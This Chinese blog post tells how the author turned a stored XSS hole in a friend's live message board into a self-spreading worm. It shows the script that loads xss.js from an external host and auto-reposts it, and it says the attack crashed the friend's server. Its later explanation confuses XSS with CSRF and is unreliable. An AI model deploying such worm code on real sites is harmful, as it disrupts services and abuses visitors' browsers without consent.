hey 接好了, 小王同学的XSS栗子

cover-image
又是一个神清气爽的假日上午, 慵懒地睡到12点自然醒的感觉真是舒服. 正准备起床刷个牙, 慢悠悠的去学校外面吃点好的~ 这个时候, QQ上收到了小王同学的求助消息:

  • 大婶, 帮个忙, ajax没法用了也0.0 (省略balabala代码一坨)
  • (爷还没起床呢, 哪凉快哪呆着去- -) 我先刷个牙, ~等会嘛
  • 好嘞

赖了会床, 洗漱完毕又顺带跟对门寝室搞了会ji之后, 于电脑前, 坐毕, 开始看小王童鞋发来的东西.

(我去, 这神马玩意儿, jQ 跟原生 js 各种搞基… 阅毕, 无法忍… )

(遂让小王同学给个网址过来慢慢品翔..)

  • hey, 大婶, 你要的地址
  • (啪, 一个公网地址飞了过来)

(输完回车的瞬间, 哔, 一个 Alert 吓了我一尿, 噢噢它告诉我我叫403号访客, 好吧..叫神马不要紧, 我从容地点了确定, 紧接着一个巨丑无比的网页出现了, 还是教务在线的味道, 还是上个世纪的配方!)

我定睛一看! 咦, 这里有一个错位的留言板也

留言板

hiahia. 那我就来帮你测测能不能留言呗

input-xss

刷新之后

alert

还真能留言! 熟悉的框框出现了(貌似泄露IP了0.0)

我们审查一下ajax部分的代码.

点击发送之后我们就来到了这个函数.

function

瞬间我就邪恶了→_→ 今天就来好好的调戏一下小王童鞋呗.

于是我啪啪啪在记事本里面敲下

1
2
3
4
window.onload = function () {
document.getElementById('message_input').value = "<script src='http://redrock.u.qiniudn.com/xss.js'></script>http://www.zeroling.com/喵″";
sendMessage();
}

并把这个文件命名为 xss.js 上传到云存储去.

万事具备只欠东风了喵.

引发这个XSS蠕虫就差一步:

在小王童鞋的留言板中输入 <script src='http://redrock.u.qiniudn.com/xss.js'></script>

然后跑到群里吼了一句

wcz

于是乎, 蠕虫出动了!

小王童鞋的站站立马就被玩坏了.

last

大家的浏览器争相向小王的服务器发送”留言”, 不久就看到了小王在群里抱怨电脑死机的事情0.0 (我没想到会死机的呀.)


##跨站脚本攻击
简单的说, 攻击者以你的浏览器发送恶意请求, 这些请求可以是恶意的, 比如发送文章, 邮件, 删除文章, 甚至购买商品, 盗取账号等等.

貌似这种攻击方式并少见, 但是危害不容小觑. 尤其是在当今 SNS2.0 时代, 大量用户盘踞的社交圈一旦爆出这种漏洞, 蠕虫就可以在短时间内疯狂蔓延, 使得整个社区充斥垃圾甚至诈骗信息.

####通俗一点的例子:
假设我有一个微博网站, 它有一个发私信的接口: http://myweibo.com/api/message?msg=balabala&to=bala, 这里的参数msg表示要发送的内容, to是要发送的对象.

正常情况下, 你登陆这个微博之后会得到一个Cookie, 而在进行发私信请求的时候, 这个Cookie会顺便被带上交给服务器, 服务器则通过这个Cookie来认证你, 如果正确就发送私信给别人.

OK, 一天一个黑客菊苣发现了这个微博网站的 XSS 漏洞, 他正好缺钱….

然后他就开始想歪主意, 他发了一篇有关波姐的微博(各种福利啊0.0), 然后在其中包含了漏洞利用的 payload.

于是小王同学(还是小李把)小李同学看到了这个微博, 漏洞被触发了, 黑客菊苣写的代码会让小李的浏览器以小李的名义(Cookie)转发这条微博并发送私信给小李的所有好友, 内容大概是

1
好哥们, 我最近遇到点balabala, ........, 打到我支付宝号上*******叭, 下礼拜一定还!

然后结果大概是, 黑客菊苣坐在黑暗的角落里面望着显示器露出邪恶的笑容→_→…

####如何避免

  1. 在表单里增加Hash值
  2. 验证码(貌似跟上面原理一致)
  3. 避免漏洞
  4. 各种高端的我也不懂啊T.T

想一想,当我们用鼠标在 Blog/BBS/WebMail 点击别人留下的链接的时候, 说不定一场精心准备的 XSS 攻击正等着我们.